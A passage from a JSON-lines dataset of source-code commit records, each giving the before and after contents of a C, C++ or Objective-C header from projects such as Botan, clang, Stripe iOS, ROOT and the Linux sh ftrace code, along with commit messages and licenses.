header. Needed for size_t","message":"Add stdlib.h to header. Needed for size_t\n","lang":"C","license":"mit","repos":"BWallet\/bwallet-crypto,BWallet\/bwallet-crypto,BWallet\/bwallet-crypto,BWallet\/bwallet-crypto,BWallet\/bwallet-crypto"}
{"commit":"a7df3bb7cc898224bc9844fb160164ca29a237ef","old_file":"scanner\/scanner.h","new_file":"scanner\/scanner.h","old_contents":"#ifndef SCANNER_H\n#define SCANNER_H\n\n#include <QString>\n#include <QChar>\n#include <QVector>\n#include \"token.h\"\n\n\/**\n * @class Scanner\n * @brief Class representing a scanner (lexical analyzer). It takes a file path as input and generates tokens, either lazily or as a QVector.\n *\/\nclass Scanner\n{\npublic:\n    Scanner(const QString& sourcePath);\n\n    \/**\n     * @brief Accessor to the vecotr of tokens parsed at construction time.\n     * @return const reference to the vector of tokens.\n     *\/\n    const QVector<Token>& tokens() const {return _tokens;}\n\nprivate:\n    QChar peek() const; \/\/Current character\n    QChar next() const; \/\/Read next character\n    void advance();\n\n    Token nextToken();\n\n    \/\/Utility functions for nextToken().\n    Token parseAlphaNum(); \/\/Parse an expression that starts with a letter : identifiers, reserved words, bool literals\n    Token parseStringLiteral();\n    Token parseCharLiteral();\n    Token parseNumberLiteral();\n    void skipComment();\n\n    QString fileContent;\n    QVector<Token> _tokens;\n    int currentChar = 0;\n    int currentLine = 1;\n    int currentRow = 1;\n};\n\n#endif \/\/ SCANNER_H\n","new_contents":"#ifndef SCANNER_H\n#define SCANNER_H\n\n#include <QString>\n#include <QChar>\n#include <QVector>\n#include \"token.h\"\n\n\/**\n * @class Scanner\n * @brief Class representing a scanner (lexical analyzer). It takes a file path as input and generates tokens, either lazily or as a QVector.\n *\/\nclass Scanner\n{\npublic:\n    Scanner(const QString& sourcePath);\n    Scanner() = delete;\n    Scanner(const Scanner& src) = delete;\n    Scanner(Scanner &&src) = delete;\n    Scanner& operator= (const Scanner& src) = delete;\n    Scanner& operator= (Scanner&& src) = delete;\n\n    \/**\n     * @brief Accessor to the vecotr of tokens parsed at construction time.\n     * @return const reference to the vector of tokens.\n     *\/\n    const QVector<Token>& tokens() const {return _tokens;}\n\nprivate:\n    QChar peek() const; \/\/Current character\n    QChar next() const; \/\/Read next character\n    void advance();\n\n    Token nextToken();\n\n    \/\/Utility functions for nextToken().\n    Token parseAlphaNum(); \/\/Parse an expression that starts with a letter : identifiers, reserved words, bool literals\n    Token parseStringLiteral();\n    Token parseCharLiteral();\n    Token parseNumberLiteral();\n    void skipComment();\n\n    QString fileContent;\n    QVector<Token> _tokens;\n    int currentChar = 0;\n    int currentLine = 1;\n    int currentRow = 1;\n};\n\n#endif \/\/ SCANNER_H\n","subject":"Set copy\/move constructors to deleted","message":"Set copy\/move constructors to deleted\n","lang":"C","license":"mit","repos":"bisthebis\/Boboscript,bisthebis\/Boboscript"}
{"commit":"501db4b8473b4906f8a78e18f97c9a7c66b180ee","old_file":"Stripe\/PublicHeaders\/UINavigationBar+Stripe_Theme.h","new_file":"Stripe\/PublicHeaders\/UINavigationBar+Stripe_Theme.h","old_contents":"\/\/\n\/\/  UINavigationBar+Stripe_Theme.h\n\/\/  Stripe\n\/\/\n\/\/  Created by Jack Flintermann on 5\/17\/16.\n\/\/  Copyright © 2016 Stripe, Inc. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"STPTheme.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n *  This allows quickly setting the appearance of a `UINavigationBar` to match your application. This is useful if you're presenting an `STPAddCardViewController` or `STPPaymentMethodsViewController` inside a `UINavigationController`.\n *\/\n@interface UINavigationBar (Stripe_Theme)\n\n\/**\n *  Sets the navigation bar's appearance to the desired theme. This will affect the bar's `tintColor` and `barTintColor` properties, as well as the color of the single-pixel line at the bottom of the navbar.\n *\n *  @param theme the theme to use to style the navigation bar. @see STPTheme.h\n *\/\n- (void)stp_setTheme:(STPTheme *)theme __attribute__((deprecated));\n\n\n\n@property (nonatomic, nullable, retain) STPTheme *stp_theme;\n\n@end\n\nNS_ASSUME_NONNULL_END\n\nvoid linkUINavigationBarThemeCategory(void);\n","new_contents":"\/\/\n\/\/  UINavigationBar+Stripe_Theme.h\n\/\/  Stripe\n\/\/\n\/\/  Created by Jack Flintermann on 5\/17\/16.\n\/\/  Copyright © 2016 Stripe, Inc. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"STPTheme.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n *  This allows quickly setting the appearance of a `UINavigationBar` to match your application. This is useful if you're presenting an `STPAddCardViewController` or `STPPaymentMethodsViewController` inside a `UINavigationController`.\n *\/\n@interface UINavigationBar (Stripe_Theme)\n\n\/**\n *  Sets the navigation bar's appearance to the desired theme. This will affect the bar's `tintColor` and `barTintColor` properties, as well as the color of the single-pixel line at the bottom of the navbar.\n *\n *  @param theme the theme to use to style the navigation bar. @see STPTheme.h\n *  @deprecated Use the `stp_theme` property instead\n *\/\n- (void)stp_setTheme:(STPTheme *)theme __attribute__((deprecated));\n\n\/**\n *  Sets the navigation bar's appearance to the desired theme. This will affect the bar's `tintColor` and `barTintColor` properties, as well as the color of the single-pixel line at the bottom of the navbar.\n *  Stripe view controllers will use their navigation bar's theme for their UIBarButtonItems instead of their own theme if it is not nil.\n *\n *  @see STPTheme.h\n *\/\n@property (nonatomic, nullable, retain) STPTheme *stp_theme;\n\n@end\n\nNS_ASSUME_NONNULL_END\n\nvoid linkUINavigationBarThemeCategory(void);\n","subject":"Add documentation for new stp_theme property","message":"Add documentation for new stp_theme property\n","lang":"C","license":"mit","repos":"stripe\/stripe-ios,NewAmsterdamLabs\/stripe-ios,NewAmsterdamLabs\/stripe-ios,fbernardo\/stripe-ios,fbernardo\/stripe-ios,fbernardo\/stripe-ios,NewAmsterdamLabs\/stripe-ios,stripe\/stripe-ios,stripe\/stripe-ios,stripe\/stripe-ios,fbernardo\/stripe-ios,stripe\/stripe-ios,stripe\/stripe-ios,NewAmsterdamLabs\/stripe-ios"}
{"commit":"93873731f73e905d8714556f1ebe23acb32de0e1","old_file":"src\/math\/numbertheory\/reducer.h","new_file":"src\/math\/numbertheory\/reducer.h","old_contents":"\/*\n* Modular Reducer\n* (C) 1999-2010 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#ifndef BOTAN_MODULAR_REDUCER_H__\n#define BOTAN_MODULAR_REDUCER_H__\n\n#include <botan\/numthry.h>\n\nnamespace Botan {\n\n\/*\n* Modular Reducer\n*\/\nclass BOTAN_DLL Modular_Reducer\n   {\n   public:\n      BigInt reduce(const BigInt& x) const;\n\n      \/**\n      * Multiply mod p\n      *\/\n      BigInt multiply(const BigInt& x, const BigInt& y) const\n         { return reduce(x * y); }\n\n      \/**\n      * Square mod p\n      *\/\n      BigInt square(const BigInt& x) const\n         { return reduce(Botan::square(x)); }\n\n      \/**\n      * Cube mod p\n      *\/\n      BigInt cube(const BigInt& x) const\n         { return multiply(x, this->square(x)); }\n\n      bool initialized() const { return (mod_words != 0); }\n\n      Modular_Reducer() { mod_words = 0; }\n      Modular_Reducer(const BigInt& mod);\n   private:\n      BigInt modulus, modulus_2, mu;\n      u32bit mod_words, mod2_words, mu_words;\n   };\n\n}\n\n#endif\n","new_contents":"\/*\n* Modular Reducer\n* (C) 1999-2010 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#ifndef BOTAN_MODULAR_REDUCER_H__\n#define BOTAN_MODULAR_REDUCER_H__\n\n#include <botan\/numthry.h>\n\nnamespace Botan {\n\n\/*\n* Modular Reducer\n*\/\nclass BOTAN_DLL Modular_Reducer\n   {\n   public:\n      const BigInt& get_modulus() const { return modulus; }\n\n      BigInt reduce(const BigInt& x) const;\n\n      \/**\n      * Multiply mod p\n      *\/\n      BigInt multiply(const BigInt& x, const BigInt& y) const\n         { return reduce(x * y); }\n\n      \/**\n      * Square mod p\n      *\/\n      BigInt square(const BigInt& x) const\n         { return reduce(Botan::square(x)); }\n\n      \/**\n      * Cube mod p\n      *\/\n      BigInt cube(const BigInt& x) const\n         { return multiply(x, this->square(x)); }\n\n      bool initialized() const { return (mod_words != 0); }\n\n      Modular_Reducer() { mod_words = 0; }\n      Modular_Reducer(const BigInt& mod);\n   private:\n      BigInt modulus, modulus_2, mu;\n      u32bit mod_words, mod2_words, mu_words;\n   };\n\n}\n\n#endif\n","subject":"Make the modulus visible in Modular_Reducer","message":"Make the modulus visible in Modular_Reducer\n","lang":"C","license":"bsd-2-clause","repos":"randombit\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,webmaster128\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan"}
{"commit":"64d3e89f9b9a25d56aa4a4f77f56656b14d7e03a","old_file":"test\/CodeGen\/avx-cmp-builtins.c","new_file":"test\/CodeGen\/avx-cmp-builtins.c","old_contents":"","new_contents":"\/\/ RUN: %clang_cc1 %s -O3 -triple=x86_64-apple-darwin -target-feature +avx -emit-llvm -o - | FileCheck %s\n\n\/\/ Don't include mm_malloc.h, it's system specific.\n#define __MM_MALLOC_H\n\n#include <immintrin.h>\n\n\/\/\n\/\/ Test LLVM IR codegen of cmpXY instructions\n\/\/\n\n__m128d test_cmp_pd(__m128d a, __m128d b) {\n  \/\/ Expects that the third argument in LLVM IR is immediate expression\n  \/\/ CHECK: @llvm.x86.sse2.cmp.pd({{.*}}, i8 13)\n  return _mm_cmp_pd(a, b, _CMP_GE_OS);\n}\n\n__m128d test_cmp_ps(__m128 a, __m128 b) {\n  \/\/ Expects that the third argument in LLVM IR is immediate expression\n  \/\/ CHECK: @llvm.x86.sse.cmp.ps({{.*}}, i8 13)\n  return _mm_cmp_ps(a, b, _CMP_GE_OS);\n}\n\n__m256d test_cmp_pd256(__m256d a, __m256d b) {\n  \/\/ Expects that the third argument in LLVM IR is immediate expression\n  \/\/ CHECK: @llvm.x86.avx.cmp.pd.256({{.*}}, i8 13)\n  return _mm256_cmp_pd(a, b, _CMP_GE_OS);\n}\n\n__m256d test_cmp_ps256(__m256 a, __m256 b) {\n  \/\/ Expects that the third argument in LLVM IR is immediate expression\n  \/\/ CHECK: @llvm.x86.avx.cmp.ps.256({{.*}}, i8 13)\n  return _mm256_cmp_ps(a, b, _CMP_GE_OS);\n}\n\n__m128d test_cmp_sd(__m128d a, __m128d b) {\n  \/\/ Expects that the third argument in LLVM IR is immediate expression\n  \/\/ CHECK: @llvm.x86.sse2.cmp.sd({{.*}}, i8 13)\n  return _mm_cmp_sd(a, b, _CMP_GE_OS);\n}\n\n__m128d test_cmp_ss(__m128 a, __m128 b) {\n  \/\/ Expects that the third argument in LLVM IR is immediate expression\n  \/\/ CHECK: @llvm.x86.sse.cmp.ss({{.*}}, i8 13)\n  return _mm_cmp_ss(a, b, _CMP_GE_OS);\n}\n","subject":"Test case for some AVX builtins. Patch by Syoyo Fujita!","message":"Test case for some AVX builtins.  Patch by Syoyo Fujita!\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@132518 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"16f44fcb1fabd5f79e3a508f467a7ba9aff71293","old_file":"dashboard.h","new_file":"dashboard.h","old_contents":"#ifndef DASHBOARD_H\n#define DASHBOARD_H\n\n#include <sys\/types.h>\n\n#include \"src\/process\/process.h\"\n\n\ntypedef struct {\n    char *fieldbar;\n    int max_x;\n    int max_y;\n    int prev_x;\n    int prev_y;\n    proc_t *process_list;\n} board_t;    \n\nvoid print_usage(void);\n\nchar set_sort_option(char *opt);\n\nvoid dashboard_mainloop(char attr_sort);\n\nvoid get_process_stats(proc_t *process_list, uid_t euid, long memtotal);\n\n#endif\n","new_contents":"#ifndef DASHBOARD_H\n#define DASHBOARD_H\n\n#include <sys\/types.h>\n\n#include \"src\/process\/process.h\"\n\n#define STAT_PATHMAX 32\n\n\ntypedef struct {\n    uid_t euid;\n    int max_x;\n    int max_y;\n    int prev_x;\n    int prev_y;\n    char path[STAT_PATHMAX];\n    char *fieldbar;\n    long memtotal;\n    proc_t *process_list;\n} board_t;    \n\nvoid print_usage(void);\n\nchar set_sort_option(char *opt);\n\nvoid dashboard_mainloop(char attr_sort);\n\nvoid get_process_stats(board_t *dashboard);\n\n#endif\n","subject":"Add in path field in board_t","message":"Add in path field in board_t\n","lang":"C","license":"mit","repos":"tijko\/dashboard"}
{"commit":"88a704e430bbbc5d6f179a87e84a498b0d0529e1","old_file":"master\/mtypes.h","new_file":"master\/mtypes.h","old_contents":"#define _MASTERTYPES\n\n#include <inttypes.h>\n\n\/\/Declarations for master types\n\ntypedef enum\n{\n\tRegister = 0,\n\tCoil = 1\n} MODBUSDataType; \/\/MODBUS data types enum (coil, register, input, etc.)\n\ntypedef struct\n{\n\tuint8_t Address; \/\/Device address\n\tuint8_t Function; \/\/Function called, in which exception occured\n\tuint8_t Code; \/\/Exception code\n} MODBUSException; \/\/Parsed exception data\n\ntypedef struct\n{\n\tuint8_t Address; \/\/Device address\n\tMODBUSDataType DataType; \/\/Data type\n\tuint16_t Register; \/\/Register, coil, input ID\n\tuint16_t Value; \/\/Value of data\n} MODBUSData;\n\ntypedef struct\n{\n\tuint8_t Length; \/\/Length of frame, if it's equal to 0, frame is not ready\n\tuint8_t *Frame; \/\/Request frame content\n} MODBUSRequestStatus; \/\/Type containing information about frame that is set up at master side\n\ntypedef struct\n{\n\tMODBUSData *Data; \/\/Data read from slave\n\tMODBUSException Exception; \/\/Optional exception read\n\tMODBUSRequestStatus Request; \/\/Formatted request for slave\n\tuint8_t DataLength; \/\/Count of data type instances read from slave\n\tuint8_t Error; \/\/Have any error occured?\n\tuint8_t Finished; \/\/Is parsing finished?\n} MODBUSMasterStatus; \/\/Type containing master device configuration data\n","new_contents":"#define _MASTERTYPES\n\n#include <inttypes.h>\n\n\/\/Declarations for master types\n\ntypedef enum\n{\n\tRegister = 0,\n\tCoil = 1,\n\tDiscreteInput = 2\n} MODBUSDataType; \/\/MODBUS data types enum (coil, register, input, etc.)\n\ntypedef struct\n{\n\tuint8_t Address; \/\/Device address\n\tuint8_t Function; \/\/Function called, in which exception occured\n\tuint8_t Code; \/\/Exception code\n} MODBUSException; \/\/Parsed exception data\n\ntypedef struct\n{\n\tuint8_t Address; \/\/Device address\n\tMODBUSDataType DataType; \/\/Data type\n\tuint16_t Register; \/\/Register, coil, input ID\n\tuint16_t Value; \/\/Value of data\n} MODBUSData;\n\ntypedef struct\n{\n\tuint8_t Length; \/\/Length of frame, if it's equal to 0, frame is not ready\n\tuint8_t *Frame; \/\/Request frame content\n} MODBUSRequestStatus; \/\/Type containing information about frame that is set up at master side\n\ntypedef struct\n{\n\tMODBUSData *Data; \/\/Data read from slave\n\tMODBUSException Exception; \/\/Optional exception read\n\tMODBUSRequestStatus Request; \/\/Formatted request for slave\n\tuint8_t DataLength; \/\/Count of data type instances read from slave\n\tuint8_t Error; \/\/Have any error occured?\n\tuint8_t Finished; \/\/Is parsing finished?\n} MODBUSMasterStatus; \/\/Type containing master device configuration data\n","subject":"Add 'DiscreteImput' Modbus data type","message":"Add 'DiscreteImput' Modbus data type\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"7b40aa94c5dbe1f583687cf3b03604893b1d3ff1","old_file":"src\/tagger.h","new_file":"src\/tagger.h","old_contents":"#ifndef __TAGGER_H__\n#define __TAGGER_H__\n\n#include <v8.h>\n#include <node.h>\n#include <node_events.h>\n#include <mecab.h>\n#include <stdio.h>\n\nusing namespace v8;\n\nnamespace MeCabBinding {\n\nclass Tagger : node::ObjectWrap {\npublic:\n\n  static void Initialize(const Handle<Object> target);\n\n  bool initialized();\n\n  const char* Parse(const char* input);\n  const mecab_node_t* ParseToNode(const char* input);\n\n  Tagger(const char* arg);\n  ~Tagger();\n\nprotected:\n\n  static Handle<Value> New(const Arguments& args);\n\n  static Handle<Value> Parse(const Arguments& args);\n  static Handle<Value> ParseToNode(const Arguments& args);\n\n  static Handle<Value> Version(const Arguments& args);\n\nprivate:\n\n  mecab_t* mecab;\n  mecab_node_t* mecabNode;\n\n};\n\n} \/\/ namespace MeCabBinding\n\n#endif \/\/ __TAGGER_H__","new_contents":"#ifndef __TAGGER_H__\n#define __TAGGER_H__\n\n#include <v8.h>\n#include <node.h>\n#include <mecab.h>\n#include <stdio.h>\n\nusing namespace v8;\n\nnamespace MeCabBinding {\n\nclass Tagger : node::ObjectWrap {\npublic:\n\n  static void Initialize(const Handle<Object> target);\n\n  bool initialized();\n\n  const char* Parse(const char* input);\n  const mecab_node_t* ParseToNode(const char* input);\n\n  Tagger(const char* arg);\n  ~Tagger();\n\nprotected:\n\n  static Handle<Value> New(const Arguments& args);\n\n  static Handle<Value> Parse(const Arguments& args);\n  static Handle<Value> ParseToNode(const Arguments& args);\n\n  static Handle<Value> Version(const Arguments& args);\n\nprivate:\n\n  mecab_t* mecab;\n  mecab_node_t* mecabNode;\n\n};\n\n} \/\/ namespace MeCabBinding\n\n#endif \/\/ __TAGGER_H__\n","subject":"Remove dependency to node_events.h. Because it removed from Node since v0.5.2","message":"Remove dependency to node_events.h. Because it removed from Node since v0.5.2\n","lang":"C","license":"mit","repos":"hakobera\/node-mecab-binding,hakobera\/node-mecab-binding,hakobera\/node-mecab-binding"}
{"commit":"97849a174221f7adc9906e97c0dddf4ee4296615","old_file":"ios\/RNSoundPlayer.h","new_file":"ios\/RNSoundPlayer.h","old_contents":"\/\/\n\/\/  RNSoundPlayer\n\/\/\n\/\/  Created by Johnson Su on 2018-07-10.\n\/\/\n\n#import <React\/RCTBridgeModule.h>\n#import <AVFoundation\/AVFoundation.h>\n#import <React\/RCTEventEmitter.h>\n\n@interface RNSoundPlayer : RCTEventEmitter <RCTBridgeModule, AVAudioPlayerDelegate>\n@property (nonatomic, strong) AVAudioPlayer *player;\n@property (nonatomic, strong) AVPlayer *avPlayer;\n@property (nonatomic, strong) int loopCount;\n@end\n","new_contents":"\/\/\n\/\/  RNSoundPlayer\n\/\/\n\/\/  Created by Johnson Su on 2018-07-10.\n\/\/\n\n#import <React\/RCTBridgeModule.h>\n#import <AVFoundation\/AVFoundation.h>\n#import <React\/RCTEventEmitter.h>\n\n@interface RNSoundPlayer : RCTEventEmitter <RCTBridgeModule, AVAudioPlayerDelegate>\n@property (nonatomic, strong) AVAudioPlayer *player;\n@property (nonatomic, strong) AVPlayer *avPlayer;\n@property (nonatomic) int loopCount;\n@end\n","subject":"Remove strong declaration from primitive type","message":"Remove strong declaration from primitive type","lang":"C","license":"mit","repos":"johnsonsu\/react-native-sound-player,johnsonsu\/react-native-sound-player,johnsonsu\/react-native-sound-player"}
{"commit":"a7a006d248135451d1187aa3fe14162159e173a5","old_file":"include\/quid.h","new_file":"include\/quid.h","old_contents":"#ifndef QUID_H_INCLUDED\r\n#define QUID_H_INCLUDED\r\n\r\n#define UIDS_PER_TICK 1024\t\t\t\/* Generate identifiers per tick interval *\/\n#define EPOCH_DIFF 11644473600LL\t\/* Conversion needed for EPOCH to UTC *\/\n#define RND_SEED_CYCLE 4096\t\t\t\/* Generate new random seed after interval *\/\n\n\/*\n * Identifier structure\n *\/\nstruct quid {\n\tunsigned long time_low;\t\t\t\t\/* Time lover half *\/\n\tunsigned short time_mid;\t\t\t\/* Time middle half *\/\n\tunsigned short time_hi_and_version;\t\t\/* Time upper half and structure version *\/\n\tunsigned char clock_seq_hi_and_reserved;\t\/* Clock sequence *\/\n\tunsigned char clock_seq_low;\t\t\t\/* Clock sequence lower half *\/\n\tunsigned char node[6];\t\t\t\t\/* Node allocation, filled with random memory data *\/\n} __attribute__((packed));\n\ntypedef unsigned long long int cuuid_time_t;\n\n\/*\n * Create new QUID\n *\/\nvoid quid_create(struct quid *);\nint quidcmp(const struct quid *a, const struct quid *b);\nvoid quidtostr(char *s, struct quid *u);\n\r\n#endif \/\/ QUID_H_INCLUDED\r\n","new_contents":"#ifndef QUID_H_INCLUDED\r\n#define QUID_H_INCLUDED\r\n\r\n#define UIDS_PER_TICK 1024\t\t\t\/* Generate identifiers per tick interval *\/\n#define EPOCH_DIFF 11644473600LL\t\/* Conversion needed for EPOCH to UTC *\/\n#define RND_SEED_CYCLE 4096\t\t\t\/* Generate new random seed after interval *\/\n\n\/*\n * Identifier structure\n *\/\nstruct quid {\n\tunsigned long time_low;\t\t\t\t\/* Time lover half *\/\n\tunsigned short time_mid;\t\t\t\/* Time middle half *\/\n\tunsigned short time_hi_and_version;\t\t\/* Time upper half and structure version *\/\n\tunsigned char clock_seq_hi_and_reserved;\t\/* Clock sequence *\/\n\tunsigned char clock_seq_low;\t\t\t\/* Clock sequence lower half *\/\n\tunsigned char node[6];\t\t\t\t\/* Node allocation, filled with random memory data *\/\n} __attribute__((packed));\n\ntypedef unsigned long long int cuuid_time_t;\n\n\/*\n * Create new QUID\n *\/\nvoid quid_create(struct quid *);\n\n\/*\n * Compare to QUID keys\n *\/\nint quidcmp(const struct quid *a, const struct quid *b);\n\n\/*\n * Convert QUID key to string\n *\/\nvoid quidtostr(char *s, struct quid *u);\n\r\n#endif \/\/ QUID_H_INCLUDED\r\n","subject":"Add comment to public QUID functions","message":"Add comment to public QUID functions\n","lang":"C","license":"bsd-3-clause","repos":"yorickdewid\/Quantica,yorickdewid\/Quantica,yorickdewid\/Quantica,yorickdewid\/Quantica"}
{"commit":"af86cde8375d92cc310f16fd4bb0c2a87d6c4eb7","old_file":"includes\/LinearAllocator.h","new_file":"includes\/LinearAllocator.h","old_contents":"#include \"Allocator.h\"\n\n#ifndef LINEARALLOCATOR_H\n#define LINEARALLOCATOR_H\n\nclass LinearAllocator : public Allocator {\nprivate:\n\t\/* Offset from the start of the memory block *\/\n\tlong m_offset;\npublic:\n\t\/* Allocation of real memory *\/\n\tLinearAllocator(const long totalSize);\n\n\t\/* Frees all memory *\/\n\tvirtual ~LinearAllocator();\n\n\t\/* Allocate virtual memory *\/\n\tvirtual void* Allocate(const std::size_t size, const std::size_t alignment) override;\n\n\t\/* Frees virtual memory *\/\n\tvirtual void Free(void* ptr) override;\n\n\t\/* Frees all virtual memory *\/\n\tvirtual void Reset() override;\n};\n\n#endif \/* LINEARALLOCATOR_H *\/\n","new_contents":"#include \"Allocator.h\"\n\n#ifndef LINEARALLOCATOR_H\n#define LINEARALLOCATOR_H\n\nclass LinearAllocator : public Allocator {\nprotected:\n\t\/* Offset from the start of the memory block *\/\n\tlong m_offset;\npublic:\n\t\/* Allocation of real memory *\/\n\tLinearAllocator(const long totalSize);\n\n\t\/* Frees all memory *\/\n\tvirtual ~LinearAllocator();\n\n\t\/* Allocate virtual memory *\/\n\tvirtual void* Allocate(const std::size_t size, const std::size_t alignment) override;\n\n\t\/* Frees virtual memory *\/\n\tvirtual void Free(void* ptr) override;\n\n\t\/* Frees all virtual memory *\/\n\tvirtual void Reset() override;\n};\n\n#endif \/* LINEARALLOCATOR_H *\/\n","subject":"Make offset a protected var.","message":"Make offset a protected var.\n","lang":"C","license":"mit","repos":"mtrebi\/memory-allocators"}
{"commit":"f673eab257109c23f290e22d472a8c156c2ef340","old_file":"math\/vecops\/inc\/LinkDef.h","new_file":"math\/vecops\/inc\/LinkDef.h","old_contents":"\/*************************************************************************\n * Copyright (C) 1995-2020, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * Author: Danilo Piparo - CERN                                          *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CLING__\n\n#pragma link C++ namespace ROOT::VecOps;\n\n#pragma link C++ class ROOT::VecOps::RVec<bool>-;\n\n#pragma link C++ class ROOT::VecOps::RVec<float>-;\n#pragma link C++ class ROOT::VecOps::RVec<double>-;\n\n#pragma link C++ class ROOT::VecOps::RVec<char>-;\n#pragma link C++ class ROOT::VecOps::RVec<short>-;\n#pragma link C++ class ROOT::VecOps::RVec<int>-;\n#pragma link C++ class ROOT::VecOps::RVec<long>-;\n#pragma link C++ class ROOT::VecOps::RVec<long long>-;\n\n#pragma link C++ class ROOT::VecOps::RVec<unsigned char>-;\n#pragma link C++ class ROOT::VecOps::RVec<unsigned short>-;\n#pragma link C++ class ROOT::VecOps::RVec<unsigned int>-;\n#pragma link C++ class ROOT::VecOps::RVec<unsigned long>-;\n#pragma link C++ class ROOT::VecOps::RVec<unsigned long long>-;\n\n#endif\n","new_contents":"\/*************************************************************************\n * Copyright (C) 1995-2021, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * Author: Danilo Piparo - CERN                                          *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CLING__\n\n#pragma link C++ namespace ROOT::VecOps;\n\n#pragma link C++ class ROOT::VecOps::RVec<bool>-;\n\n#pragma link C++ class ROOT::VecOps::RVec<float>-;\n#pragma link C++ class ROOT::VecOps::RVec<double>-;\n\n#pragma link C++ class ROOT::VecOps::RVec<char>-;\n#pragma link C++ class ROOT::VecOps::RVec<short>-;\n#pragma link C++ class ROOT::VecOps::RVec<int>-;\n#pragma link C++ class ROOT::VecOps::RVec<long>-;\n#pragma link C++ class ROOT::VecOps::RVec<long long>-;\n\n#pragma link C++ class ROOT::VecOps::RVec<unsigned char>-;\n#pragma link C++ class ROOT::VecOps::RVec<unsigned short>-;\n#pragma link C++ class ROOT::VecOps::RVec<unsigned int>-;\n#pragma link C++ class ROOT::VecOps::RVec<unsigned long>-;\n#pragma link C++ class ROOT::VecOps::RVec<unsigned long long>-;\n\n#endif\n","subject":"Update year in a copyright notice","message":"[VecOps][NFC] Update year in a copyright notice\n","lang":"C","license":"lgpl-2.1","repos":"olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root"}
{"commit":"ca0d17277fd101ce4878f92b398b6ab71fb2c287","old_file":"arch\/sh\/include\/asm\/ftrace.h","new_file":"arch\/sh\/include\/asm\/ftrace.h","old_contents":"#ifndef __ASM_SH_FTRACE_H\n#define __ASM_SH_FTRACE_H\n\n#ifdef CONFIG_FUNCTION_TRACER\n\n#define MCOUNT_INSN_SIZE\t4 \/* sizeof mcount call *\/\n\n#ifndef __ASSEMBLY__\nextern void mcount(void);\n\n#define MCOUNT_ADDR\t\t((long)(mcount))\n\n#ifdef CONFIG_DYNAMIC_FTRACE\n#define CALLER_ADDR\t\t((long)(ftrace_caller))\n#define STUB_ADDR\t\t((long)(ftrace_stub))\n\n#define MCOUNT_INSN_OFFSET\t((STUB_ADDR - CALLER_ADDR) >> 1)\n\nstruct dyn_arch_ftrace {\n\t\/* No extra data needed on sh *\/\n};\n\n#endif \/* CONFIG_DYNAMIC_FTRACE *\/\n\nstatic inline unsigned long ftrace_call_adjust(unsigned long addr)\n{\n\t\/* 'addr' is the memory table address. *\/\n\treturn addr;\n}\n\n#endif \/* __ASSEMBLY__ *\/\n#endif \/* CONFIG_FUNCTION_TRACER *\/\n\n#endif \/* __ASM_SH_FTRACE_H *\/\n","new_contents":"#ifndef __ASM_SH_FTRACE_H\n#define __ASM_SH_FTRACE_H\n\n#ifdef CONFIG_FUNCTION_TRACER\n\n#define MCOUNT_INSN_SIZE\t4 \/* sizeof mcount call *\/\n\n#ifndef __ASSEMBLY__\nextern void mcount(void);\n\n#define MCOUNT_ADDR\t\t((long)(mcount))\n\n#ifdef CONFIG_DYNAMIC_FTRACE\n#define CALL_ADDR\t\t((long)(ftrace_call))\n#define STUB_ADDR\t\t((long)(ftrace_stub))\n\n#define MCOUNT_INSN_OFFSET\t((STUB_ADDR - CALL_ADDR) - 4)\n\nstruct dyn_arch_ftrace {\n\t\/* No extra data needed on sh *\/\n};\n\n#endif \/* CONFIG_DYNAMIC_FTRACE *\/\n\nstatic inline unsigned long ftrace_call_adjust(unsigned long addr)\n{\n\t\/* 'addr' is the memory table address. *\/\n\treturn addr;\n}\n\n#endif \/* __ASSEMBLY__ *\/\n#endif \/* CONFIG_FUNCTION_TRACER *\/\n\n#endif \/* __ASM_SH_FTRACE_H *\/\n","subject":"Fix the value of MCOUNT_INSN_OFFSET","message":"sh: Fix the value of MCOUNT_INSN_OFFSET\n\nIt seems that MCOUNT_INSN_OFFSET was calculating the distance between\nthe wrong functions. The value that should have actually been computed\nis the distance between ftrace_call and ftrace_stub. I discovered this\nwhen I added some code to ftrace_caller.\n\nSigned-off-by: Matt Fleming <1fa2ef4755a9226cb9a0a4840bd89b158ac71391@console-pimps.org>\nSigned-off-by: Paul Mundt 